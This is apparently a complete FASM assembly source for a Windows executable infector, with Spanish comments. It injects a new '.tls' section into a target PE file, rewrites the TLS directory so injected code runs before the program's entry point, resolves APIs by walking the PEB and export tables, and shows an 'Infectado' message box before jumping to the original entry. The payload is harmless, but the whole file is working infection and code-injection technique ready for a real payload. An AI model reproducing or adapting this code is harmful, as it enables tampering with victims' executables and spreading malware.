include "win32ax.inc"
 
.code
start:
stdcall Infectar,"Message.exe" ;Message.exe = Ruta del exe a infectar
invoke ExitProcess,0    ;Cerramos
proc Infectar,Nombre
pushad
stdcall Mapear, [Nombre]  ;Leemos el archivo
 
     mov ecx,dword[eax+0x3C]  ;Vamos al PE
     add ecx,eax
 
     mov ecx,dword[ecx+0xC0];Vemos si existe TLS
     .if ecx <> 0                                ;Si existe nos vamos
     invoke GlobalFree, eax
    popad
ret
.endif
invoke GlobalFree, eax
 
 
stdcall AddSection, [Nombre] , ".tls", Tamaño , 0xE0000020 ;Agregamos una sección llamada .tls con todos los permisos necesarios
  mov edi,ebx
 stdcall Mapear, [Nombre]
   add edi,eax
 
 
 
 
    pushad
   invoke RtlMoveMemory,edi,tls_callback,Tamaño ;Copiamos todo lo necesario dentro de la sección
   popad
   add edi,var-tls_callback
   mov dword[edi],0     ;Llenamos los 2 primeros datos con NULL
    mov dword[edi+4],0
 
    mov ecx,esi
    add ecx,0x400000
    add ecx,var-tls_callback
    add ecx,6*4
    mov dword[edi+8],   ecx
 
    add ecx,4
    mov dword[edi+12],  ecx
     mov dword[edi+16],0
     mov dword[edi+20],0
     mov dword[edi+24],0
     sub ecx,7*4
    sub ecx,var-tls_callback
     mov dword[edi+28],ecx
     mov dword[edi+32],0
     mov ecx,dword[eax+0x3C]
     add ecx,eax
     mov dword[ecx+0xC0],esi
     add dword[ecx+0xC0],var-tls_callback
     mov dword[ecx+0xC4],36
     push eax
   stdcall Guardar, [Nombre],eax,ebx ;Guardamos el archivo
   pop eax
   invoke GlobalFree,eax
popad
ret
endp
 
 
 
proc tls_callback DllHandle, Reason, Reserved
 mov eax,[fs:30h]
 mov eax,[eax+0Ch]
 mov edi,[eax+10h]
 mov esi,dword[edi+30h]
 .siguiente:
 mov ebx,dword[edi+30h]
 mov cl,byte[ebx]
 or cl,20h
 mov dl,byte[ebx+2]
 or dl ,20h
  mov dh,byte[ebx+7*2]
 or dh ,20h
 .if cl = "k" & dl = "e" & dh = "2"
 mov eax,dword[edi+18h]
 .else
 mov edi,[edi+4h]
 cmp esi,dword[edi+30h]
 jne  .siguiente
 .endif
stdcall GetAddressFunction,eax,"LoadLibraryA"
stdcall eax,"user32.dll"
stdcall GetAddressFunction,eax,"MessageBoxA"
stdcall eax,0,"Infectado",0,0
mov eax,[DllHandle]
add eax,dword[eax+0x28]
add eax,[DllHandle]
jmp eax
endp
proc GetAddressFunction,pMZ,pApi
push edi esi ebx edx ecx
;EDI = MZ
;Expot data = EBX
;Esi = Cantidad de funciones
;edx = AddressOfNames
;ECX = Propositos generales
mov edi, [pMZ]
mov ebx,[edi+0x3c]
mov ebx,[ebx+edi+0x78]
add ebx,edi
mov esi,[0x18+ebx]
mov edx, [0x20+ebx]
add edx,edi
.bucle:
dec esi
 
mov eax,esi
rol eax,2   ;Multiplicamos esi por 4
mov eax,[edx + eax]
add eax,edi
stdcall comparar,[pApi],eax
xor eax,0
jnz  .bucle
mov eax,[0x24+ebx]
add eax,edi
movzx ecx, word[eax + 2*esi]
mov eax, [ebx + 0x1c]
add eax,edi
mov eax, [eax + 4 * ecx]
add eax, edi
.salir:
pop ecx edx ebx esi edi
ret
 
endp
proc comparar ,SRC,DST
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
var:
rd 10 * 4
 
Tamaño = $-tls_callback
proc Guardar,Ruta,Datos,Tamaño
local d dd ?
invoke CreateFile,[Ruta],GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0
push eax
invoke WriteFile,eax,[Datos],[Tamaño],addr d ,NULL
pop eax
invoke CloseHandle,eax
ret
endp
;Procedimiento que añade una sección a un archivo. Parametros:
; ruta -> Ruta del archivo al que le añadiremos la sección
; nombre -> El nombre de la nueva sección
; tam -> Tamaño de la nueva sección (RawSize)
; propiedades -> Las caracteristicas de la sección
proc AddSection ruta, nombre, tam, propiedades
locals
hFile dd ? ; Handle del archivo
TamAr dd ? ; Tamaño del archivo+Tamaño sección nueva
hMap dd ? ; Handle del archivo mapeado
IB dd ? ; Desde donde se carga en memoria
 
PE dd ? ; Puntero a PE\0\0
UltSec dd ? ; Inicio de la sección a añadir (final de la última sección)
VOffset dd ? ; El VirtualOfffset de la nueva sección
endl
 
; Guardamos los registros
;pushad
 
; Mapeamos el archivo en memoria con [tam] bytes de más
invoke CreateFile, [ruta], GENERIC_READ+GENERIC_WRITE, FILE_SHARE_WRITE+FILE_SHARE_READ, 0, OPEN_EXISTING, 0,0
mov [hFile], eax
invoke GetFileSize, [hFile], 0
add eax, [tam]
mov [TamAr], eax
invoke CreateFileMapping, [hFile], 0, PAGE_READWRITE, 0, [TamAr], 0
mov [hMap], eax
invoke MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0
mov [IB], eax
 
; Le restamos 0x28 al offset 0x3C y guardamos la posición actual del signature
mov eax, [IB]
sub dword[eax+0x3C], 0x28
add eax, dword[eax+0x3C]
mov [PE], eax
 
; Desplazamos las cabeceras 0x28 bytes
mov esi, [PE]
add esi, 0x28
mov edi, [PE]
 
xor ebx, ebx
mov bx, word[esi+0x6]
mov eax, 0x28
mul ebx
mov ecx, eax
add ecx, 248
push ecx
 
rep movsb
 
pop ebx
add ebx, [PE]
mov [UltSec], ebx
invoke RtlZeroMemory, ebx, 0x28
 
; Calculamos el VirtualOffset de la nueva sección
mov edi, [UltSec]
sub edi, 0x28
mov ebx, [PE]
 
mov eax, dword[edi+8] ; eax = VirtualSize+VirtualOffset+SectionAligement (redondeado)
add eax, dword[edi+12]
add eax, dword[ebx+0x38]
and eax, 0xFFFFF000
mov [VOffset], eax
 
 
; Añadimos la sección al section header
mov eax, [PE]
add eax, 0x6
inc word[eax]
 
invoke lstrlen, [nombre]
invoke RtlMoveMemory, [UltSec], [nombre], eax ; Name
mov edi, [UltSec]
mov dword[edi+8], 0x00000000 ; VirtualSize
mov eax, [VOffset]
mov dword[edi+12], eax ; VirtualOffset
mov eax, [tam]
mov dword[edi+16], eax ; RawSize
mov eax, [TamAr]
sub eax, [tam]
mov dword[edi+20], eax ; RawOfset
mov eax, [propiedades]
mov dword[edi+36], eax ; Propiedades
 
; Cambiamos el SizeOfImage
mov eax, [PE]
mov ebx, [tam]
add dword[eax+0x50], ebx
mov ebx,dword[edi+20]
mov esi,dword[edi+12]
; Liberamos memoria, restauramos los registros y volvemos
invoke CloseHandle, [hFile]
invoke CloseHandle, [hMap]
invoke UnmapViewOfFile, [IB]
 
;popad
 
ret
endp
 
proc Mapear, ruta
 locals
    bUsados dd ?
    hFile   dd ?
    tamAr   dd ?
    hMap    dd ?
    IB      dd ?
 endl
 
    invoke  CreateFile, [ruta], GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0
    mov [hFile], eax
    invoke  GetFileSize, [hFile], 0
    mov [tamAr], eax
    invoke  GlobalAlloc, GPTR, eax
    mov [IB], eax
    invoke  ReadFile, [hFile], [IB], [tamAr], addr bUsados, 0
    invoke CloseHandle,  [hFile]
    mov eax, [IB]
    mov ebx,[tamAr]
    ret
endp
 
.end start